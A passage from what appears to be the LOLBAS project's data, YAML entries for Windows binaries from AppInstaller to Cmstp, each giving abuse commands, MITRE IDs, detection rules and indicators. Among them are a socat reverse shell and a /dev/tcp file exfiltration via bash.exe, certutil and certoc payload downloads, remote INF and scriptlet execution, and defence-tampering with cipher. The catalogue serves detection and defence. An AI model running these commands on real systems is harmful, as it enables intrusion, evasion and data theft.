ms-appinstaller://?source={REMOTEURL:.exe}\n Description: AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in INetCache.\n Usecase: Download file from Internet\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Download: INetCache\nFull_Path:\n - Path: C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.11.2521.0_x64__8wekyb3d8bbwe\\AppInstaller.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/dns_query/dns_query_win_lolbin_appinstaller.yml\nResources:\n - Link: https://twitter.com/notwhickey/status/1333900137232523264\nAcknowledgement:\n - Person: Wade Hickey\n Handle: '@notwhickey'\n" }, { "path": "yml/OSBinaries/Aspnet_Compiler.yml", "content": "---\nName: Aspnet_Compiler.exe\nDescription: ASP.NET Compilation Tool\nAuthor: Jimmy (@bohops)\nCreated: 2021-09-26\nCommands:\n - Command: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_compiler.exe -v none -p C:\\users\\cpl.internal\\desktop\\asptest\\ -f C:\\users\\cpl.internal\\desktop\\asptest\\none -u\n Description: Execute C# code with the Build Provider and proper folder structure in place.\n Usecase: Execute proxied payload with Microsoft signed binary to bypass application control solutions\n Category: AWL Bypass\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows 10, Windows 11\nFull_Path:\n - Path: c:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe\n - Path: c:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_compiler.exe\nCode_Sample:\n - Code: https://github.com/ThunderGunExpress/BringYourOwnBuilder\nDetection:\n - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_aspnet_compiler.yml\nResources:\n - Link: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/\n - Link: https://docs.microsoft.com/en-us/dotnet/api/system.web.compilation.buildprovider.generatecode?view=netframework-4.8\nAcknowledgement:\n - Person: cpl\n Handle: '@cpl3h'\n" }, { "path": "yml/OSBinaries/At.yml", "content": "---\nName: At.exe\nDescription: Schedule periodic tasks\nAuthor: 'Freddie Barr-Smith'\nCreated: 2019-09-20\nCommands:\n - Command: C:\\Windows\\System32\\at.exe 09:00 /interactive /every:m,t,w,th,f,s,su {CMD}\n Description: Create a recurring task to execute every day at a specific time.\n Usecase: Create a recurring task, to eg. to keep reverse shell session(s) alive\n Category: Execute\n Privileges: Local Admin\n MitreID: T1053.002\n OperatingSystem: Windows 7 or older\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: C:\\WINDOWS\\System32\\At.exe\n - Path: C:\\WINDOWS\\SysWOW64\\At.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_at_interactive_execution.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/network/zeek/zeek_smb_converted_win_atsvc_task.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/builtin/security/win_security_atsvc_task.yml\n - IOC: C:\\Windows\\System32\\Tasks\\At1 (substitute 1 with subsequent number of at job)\n - IOC: C:\\Windows\\Tasks\\At1.job\n - IOC: Registry Key - Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\At1.\nResources:\n - Link: https://freddiebarrsmith.com/at.txt\n - Link: https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html\n - Link: https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems\nAcknowledgement:\n - Person: 'Freddie Barr-Smith'\n Handle:\n - Person: 'Riccardo Spolaor'\n Handle:\n - Person: 'Mariano Graziano'\n Handle:\n - Person: 'Xabier Ugarte-Pedrero'\n Handle:\n" }, { "path": "yml/OSBinaries/Atbroker.yml", "content": "---\nName: Atbroker.exe\nDescription: Helper binary for Assistive Technology (AT)\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: ATBroker.exe /start malware\n Description: Start a registered Assistive Technology (AT).\n Usecase: Executes code defined in registry for a new AT. Modifications must be made to the system registry to either register or modify an existing Assistive Technology (AT) service entry.\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: C:\\Windows\\System32\\Atbroker.exe\n - Path: C:\\Windows\\SysWOW64\\Atbroker.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_susp_atbroker.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/registry/registry_event/registry_event_susp_atbroker_change.yml\n - IOC: Changes to HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\Configuration\n - IOC: Changes to HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs\n - IOC: Unknown AT starting C:\\Windows\\System32\\ATBroker.exe /start malware\nResources:\n - Link: http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/\nAcknowledgement:\n - Person: Adam\n Handle: '@hexacorn'\n" }, { "path": "yml/OSBinaries/Bash.yml", "content": "---\nName: Bash.exe\nDescription: File used by Windows subsystem for Linux\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: bash.exe -c \"{CMD}\"\n Description: Executes executable from bash.exe\n Usecase: Performs execution of specified file, can be used as a defensive evasion.\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows 10\n Tags:\n - Execute: CMD\n - Command: bash.exe -c \"socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane\"\n Description: Executes a reverse shell\n Usecase: Performs execution of specified file, can be used as a defensive evasion.\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows 10\n Tags:\n - Execute: CMD\n - Command: bash.exe -c 'cat {PATH:.zip} > /dev/tcp/192.168.1.10/24'\n Description: Exfiltrate data\n Usecase: Performs execution of specified file, can be used as a defensive evasion.\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows 10\n Tags:\n - Execute: CMD\n - Command: bash.exe -c \"{CMD}\"\n Description: Executes executable from bash.exe\n Usecase: Performs execution of specified file, can be used to bypass Application Whitelisting.\n Category: AWL Bypass\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows 10\n Tags:\n - Execute: CMD\n - Command: bash.exe\n Description: When executed, `bash.exe` queries the registry value of `HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Lxss\\MSI\\InstallLocation`, which contains a folder path (`c:\\program files\\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.\n Usecase: Execute a payload as a child process of `bash.exe` while masquerading as WSL.\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 10, Windows Server 2019, Windows 11\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: C:\\Windows\\System32\\bash.exe\n - Path: C:\\Windows\\SysWOW64\\bash.exe\nDetection:\n - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml\n - IOC: Child process from bash.exe\nResources:\n - Link: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules\n - Link: https://cardinalops.com/blog/bash-and-switch-hijacking-via-windows-subsystem-for-linux/\nAcknowledgement:\n - Person: Alex Ionescu\n Handle: '@aionescu'\n - Person: Asif Matadar\n Handle: '@d1r4c'\n - Person: Liran Ravich, CardinalOps\n" }, { "path": "yml/OSBinaries/Bitsadmin.yml", "content": "---\nName: Bitsadmin.exe\nDescription: Used for managing background intelligent transfer\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: bitsadmin /create 1 bitsadmin /addfile 1 c:\\windows\\system32\\cmd.exe c:\\data\\playfolder\\cmd.exe bitsadmin /SetNotifyCmdLine 1 c:\\data\\playfolder\\1.txt:cmd.exe NULL bitsadmin /RESUME 1 bitsadmin /complete 1\n Description: Create a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command from an Alternate data stream, then resume and complete the job.\n Usecase: Performs execution of specified file in the alternate data stream, can be used as a defensive evasion or persistence technique.\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\\data\\playfolder\\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1\n Description: Create a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job.\n Usecase: Download file from Internet\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: bitsadmin /create 1 & bitsadmin /addfile 1 c:\\windows\\system32\\cmd.exe c:\\data\\playfolder\\cmd.exe & bitsadmin /RESUME 1 & bitsadmin /Complete 1 & bitsadmin /reset\n Description: Command for copying cmd.exe to another folder\n Usecase: Copy file\n Category: Copy\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10\n - Command: bitsadmin /create 1 & bitsadmin /addfile 1 c:\\windows\\system32\\cmd.exe c:\\data\\playfolder\\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\\data\\playfolder\\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset\n Description: One-liner that creates a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job.\n Usecase: Execute binary file specified. Can be used as a defensive evasion.\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10\nFull_Path:\n - Path: C:\\Windows\\System32\\bitsadmin.exe\n - Path: C:\\Windows\\SysWOW64\\bitsadmin.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_bitsadmin_download.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/web/proxy_generic/proxy_ua_bitsadmin_susp_tld.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_bitsadmin_potential_persistence.yml\n - Splunk: https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/bitsadmin_download_file.yml\n - IOC: Child process from bitsadmin.exe\n - IOC: bitsadmin creates new files\n - IOC: bitsadmin adds data to alternate data stream\nResources:\n - Link: https://www.slideshare.net/chrisgates/windows-attacks-at-is-the-new-black-26672679\n - Link: https://www.youtube.com/watch?v=_8xJaaQlpBo\n - Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f\n - Link: https://www.soc-labs.top/en/detections/100\nAcknowledgement:\n - Person: Rob Fuller\n Handle: '@mubix'\n - Person: Chris Gates\n Handle: '@carnal0wnage'\n - Person: Oddvar Moe\n Handle: '@oddvarmoe'\n" }, { "path": "yml/OSBinaries/Certoc.yml", "content": "---\nName: CertOC.exe\nDescription: Used for installing certificates\nAuthor: 'Ensar Samil'\nCreated: 2021-10-07\nCommands:\n - Command: certoc.exe -LoadDLL {PATH_ABSOLUTE:.dll}\n Description: Loads the target DLL file\n Usecase: Execute code within DLL file\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows Server 2022\n Tags:\n - Execute: DLL\n - Command: certoc.exe -GetCACAPS {REMOTEURL:.ps1}\n Description: Downloads text formatted files\n Usecase: Download scripts, webshells etc.\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows Server 2022\nFull_Path:\n - Path: c:\\windows\\system32\\certoc.exe\n - Path: c:\\windows\\syswow64\\certoc.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certoc_load_dll.yml\n - IOC: Process creation with given parameter\n - IOC: Unsigned DLL load via certoc.exe\n - IOC: Network connection via certoc.exe\nResources:\n - Link: https://twitter.com/sblmsrsn/status/1445758411803480072?s=20\n - Link: https://twitter.com/sblmsrsn/status/1452941226198671363?s=20\nAcknowledgement:\n - Person: Ensar Samil\n Handle: '@sblmsrsn'\n" }, { "path": "yml/OSBinaries/Certreq.yml", "content": "---\nName: CertReq.exe\nDescription: Used for requesting and managing certificates\nAuthor: David Middlehurst\nCreated: 2020-07-07\nCommands:\n - Command: CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE} {PATH:.txt}\n Description: Send the specified file (penultimate argument) to the specified URL via HTTP POST and save the response to the specified txt file (last argument).\n Usecase: Download file from Internet\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 10, Windows 11\n - Command: CertReq -Post -config {REMOTEURL} {PATH_ABSOLUTE}\n Description: Send the specified file (last argument) to the specified URL via HTTP POST and show response in terminal.\n Usecase: Upload\n Category: Upload\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\System32\\certreq.exe\n - Path: C:\\Windows\\SysWOW64\\certreq.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_susp_certreq_download.yml\n - IOC: certreq creates new files\n - IOC: certreq makes POST requests\nResources:\n - Link: https://dtm.uk/certreq\nAcknowledgement:\n - Person: David Middlehurst\n Handle: '@dtmsecurity'\n" }, { "path": "yml/OSBinaries/Certutil.yml", "content": "---\nName: Certutil.exe\nDescription: Windows binary used for handling certificates\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: certutil.exe -urlcache -f {REMOTEURL:.exe} {PATH:.exe}\n Description: Download and save an executable to disk in the current folder.\n Usecase: Download file from Internet\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: certutil.exe -verifyctl -f {REMOTEURL:.exe} {PATH:.exe}\n Description: Download and save an executable to disk in the current folder when a file path is specified, or `%LOCALAPPDATA%low\\Microsoft\\CryptnetUrlCache\\Content\\` when not.\n Usecase: Download file from Internet\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: certutil.exe -urlcache -f {REMOTEURL:.ps1} {PATH_ABSOLUTE}:ttt\n Description: Download and save a .ps1 file to an Alternate Data Stream (ADS).\n Usecase: Download file from Internet and save it in an NTFS Alternate Data Stream\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: certutil.exe -URL {REMOTEURL:.exe}\n Description: Download and save an executable to `%LOCALAPPDATA%low\\Microsoft\\CryptnetUrlCache\\Content\\`.\n Usecase: Download file from Internet\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Application: GUI\n - Command: certutil -encode {PATH} {PATH:.base64}\n Description: Command to encode a file using Base64\n Usecase: Encode files to evade defensive measures\n Category: Encode\n Privileges: User\n MitreID: T1027.013\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: certutil -decode {PATH:.base64} {PATH}\n Description: Command to decode a Base64 encoded file.\n Usecase: Decode files to evade defensive measures\n Category: Decode\n Privileges: User\n MitreID: T1140\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: certutil -decodehex {PATH:.hex} {PATH}\n Description: Command to decode a hexadecimal-encoded file.\n Usecase: Decode files to evade defensive measures\n Category: Decode\n Privileges: User\n MitreID: T1140\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\System32\\certutil.exe\n - Path: C:\\Windows\\SysWOW64\\certutil.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_download.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_encode.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_decode.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/4a11ef9514938e7a7e32cf5f379e975cebf5aed3/rules/windows/defense_evasion_suspicious_certutil_commands.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/command_and_control_certutil_network_connection.toml\n - Splunk: https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_urlcache_and_split_arguments.yml\n - Splunk: https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_verifyctl_and_split_arguments.yml\n - Splunk: https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_with_decode_argument.yml\n - IOC: Certutil.exe creating new files on disk\n - IOC: Useragent Microsoft-CryptoAPI/10.0\n - IOC: Useragent CertUtil URL Agent\nResources:\n - Link: https://twitter.com/Moriarty_Meng/status/984380793383370752\n - Link: https://twitter.com/mattifestation/status/620107926288515072\n - Link: https://twitter.com/egre55/status/1087685529016193025\n - Link: https://www.hexacorn.com/blog/2020/08/23/certutil-one-more-gui-lolbin/\nAcknowledgement:\n - Person: Matt Graeber\n Handle: '@mattifestation'\n - Person: Moriarty\n Handle: '@Moriarty_Meng'\n - Person: egre55\n Handle: '@egre55'\n - Person: Lior Adar\n - Person: Adam\n Handle: '@hexacorn'\n - Person: SomeTestLeper\n Handle: '@SomeTestLeper'\n" }, { "path": "yml/OSBinaries/Change.yml", "content": "---\nName: Change.exe\nDescription: Remote Desktop Services MultiUser Change Utility\nAuthor: 'Idan Lerman'\nCreated: 2025-07-31\nCommands:\n - Command: change.exe user\n Description: Once executed, `change.exe` will execute `chgusr.exe` in the same folder. Thus, if `change.exe` is copied to a folder and an arbitrary executable is renamed to `chgusr.exe`, `change.exe` will spawn it. Instead of `user`, it is also possible to use `port` or `logon` as command-line option.\n Usecase: Execute an arbitrary executable via trusted system executable.\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\n - Requires: Rename\nFull_Path:\n - Path: c:\\windows\\system32\\change.exe\n - Path: c:\\windows\\syswow64\\change.exe\nDetection:\n - IOC: change.exe being executed and executes a child process outside of its normal path of c:\\windows\\system32\\ or c:\\windows\\syswow64\\\nAcknowledgement:\n - Person: Idan Lerman\n Handle: '@IdanLerman'\n" }, { "path": "yml/OSBinaries/Cipher.yml", "content": "---\nName: Cipher.exe\nDescription: File Encryption Utility\nAuthor: Adetutu Ogunsowo\nCreated: 2024-11-22\nCommands:\n - Command: cipher /w:{PATH_ABSOLUTE:folder}\n Description: Zero out a file\n Usecase: Can be used to forensically erase a file.\n Category: Tamper\n Privileges: User\n MitreID: T1485\n OperatingSystem: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: cipher.exe /e {PATH_ABSOLUTE}\n Description: Encrypt a file\n Usecase: Can be used to impair defences by e.g. encrypting a critical EDR solution file.\n Category: Tamper\n Privileges: Admin\n MitreID: T1562\n OperatingSystem: Windows 10\nFull_Path:\n - Path: c:\\windows\\system32\\cipher.exe\n - Path: c:\\windows\\syswow64\\cipher.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/process_creation/proc_creation_win_cipher_overwrite_deleted_data.yml\n - IOC: cipher.exe process with /w on the command line\nResources:\n - Link: https://www.volexity.com/blog/2024/11/22/the-nearest-neighbor-attack-how-a-russian-apt-weaponized-nearby-wi-fi-networks-for-covert-access/\nAcknowledgement:\n - Person: Ade Ogunsowo\n Handle: \"@i_am_tutu\"\n - Person: Alexander Sennhauser\n Handle: '@conitrade'\n" }, { "path": "yml/OSBinaries/Cmd.yml", "content": "---\nName: Cmd.exe\nDescription: The command-line interpreter in Windows\nAuthor: Ye Yint Min Thu Htut\nCreated: 2019-06-26\nCommands:\n - Command: cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.bat\n Description: Add content to an Alternate Data Stream (ADS).\n Usecase: Can be used to evade defensive countermeasures or to hide as a persistence mechanism\n Category: ADS\n Privileges: User\n MitreID: T1564.004\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: cmd.exe - < {PATH}:payload.bat\n Description: Execute payload.bat stored in an Alternate Data Stream (ADS).\n Usecase: Can be used to evade defensive countermeasures or to hide as a persistence mechanism\n Category: ADS\n Privileges: User\n MitreID: T1059.003\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: type {PATH_SMB} > {PATH_ABSOLUTE}\n Description: Downloads a specified file from a WebDAV server to the target file.\n Usecase: Download/copy a file from a WebDAV server\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n - Command: type {PATH_ABSOLUTE} > {PATH_SMB}\n Description: Uploads a specified file to a WebDAV server.\n Usecase: Upload a file to a WebDAV server\n Category: Upload\n Privileges: User\n MitreID: T1048.003\n OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\System32\\cmd.exe\n - Path: C:\\Windows\\SysWOW64\\cmd.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_ads_file_creation.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml\n - IOC: cmd.exe executing files from alternate data streams.\n - IOC: cmd.exe creating/modifying file contents in an alternate data stream.\nResources:\n - Link: https://twitter.com/yeyint_mth/status/1143824979139579904\n - Link: https://twitter.com/Mr_0rng/status/1601408154780446721\n - Link: https://medium.com/@mr-0range/a-new-lolbin-using-the-windows-type-command-to-upload-download-files-81d7b6179e22\n - Link: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/type\nAcknowledgement:\n - Person: r0lan\n Handle: '@yeyint_mth'\n - Person: Mr.0range\n Handle: '@mr_0rng'\n" }, { "path": "yml/OSBinaries/Cmdkey.yml", "content": "---\nName: Cmdkey.exe\nDescription: creates, lists, and deletes stored user names and passwords or credentials.\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: cmdkey /list\n Description: List cached credentials\n Usecase: Get credential information from host\n Category: Credentials\n Privileges: User\n MitreID: T1078\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\System32\\cmdkey.exe\n - Path: C:\\Windows\\SysWOW64\\cmdkey.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_cmdkey_recon.yml\nResources:\n - Link: https://web.archive.org/web/20230202122017/https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation\n - Link: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey\n" }, { "path": "yml/OSBinaries/Cmdl32.yml", "content": "---\nName: cmdl32.exe\nDescription: Microsoft Connection Manager Auto-Download\nAuthor: Elliot Killick\nCreated: 2021-08-26\nCommands:\n - Command: cmdl32 /vpn /lan %cd%\\config\n Description: Download a file from the web address specified in the configuration file. The downloaded file will be in %TMP% under the name VPNXXXX.tmp where \"X\" denotes a random number or letter.\n Usecase: Download file from Internet\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Windows\\System32\\cmdl32.exe\n - Path: C:\\Windows\\SysWOW64\\cmdl32.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_cmdl32.yml\n - IOC: Reports of downloading from suspicious URLs in %TMP%\\config.log\n - IOC: Useragent Microsoft(R) Connection Manager Vpn File Update\nResources:\n - Link: https://github.com/LOLBAS-Project/LOLBAS/pull/151\n - Link: https://twitter.com/ElliotKillick/status/1455897435063074824\n - Link: https://elliotonsecurity.com/living-off-the-land-reverse-engineering-methodology-plus-tips-and-tricks-cmdl32-case-study/\nAcknowledgement:\n - Person: Elliot Killick\n Handle: '@elliotkillick'\n" }, { "path": "yml/OSBinaries/Cmstp.yml", "content": "---\nName: Cmstp.exe\nDescription: Installs or removes a Connection Manager service profile.\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: cmstp.exe /ni /s {PATH_ABSOLUTE:.inf}\n Description: Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.\n Usecase: Execute code hidden within an inf file. Download and run scriptlets from internet.\n Category: Execute\n Privileges: User\n MitreID: T1218.003\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: INF\n - Command: cmstp.exe /ni /s {REMOTEURL:.inf}\n Description: Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.\n Usecase: Execute code hidden within an inf file. Execute code directly from Internet.\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218.003\n OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10\n Tags:\n - Execute: INF\n - Execute: Remote\n - Command: cmstp.exe /nf\n Description: cmstp.exe reads the `HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\cmmgr32.exe\\CmstpExtensionDll` registry value and passes its data directly to `LoadLibrary`. By modifying this registry key and setting it to an attack-controlled DLL, this will sideload the DLL via `cmstp.exe`.\n Usecase: Proxy execution of a malicious DLL via registry modification.\n Category: Execute\n Privileges: Administrator\n MitreID: T1218.003\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: DLL\n - Requires: Registry Change\nFull_Path:\n - Path: C:\\Windows\\System32\\cmstp.exe\n - Path: C:\\Windows\\SysWOW64\\cmstp.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_cmstp_execution_by_creation.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp.yml\n - Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/cmlua_or_cmstplua_uac_bypass.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml\n - IOC: Execution of cmstp.exe without a VPN use case is suspicious\n - IOC: DotNet CLR libraries loaded into cmstp.exe\n - IOC: DotNet CLR Usage Log - cmstp.exe.log\n - IOC: Registry modification to HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\cmmgr32.exe\\CmstpExtensionDll\nResources:\n - Link: 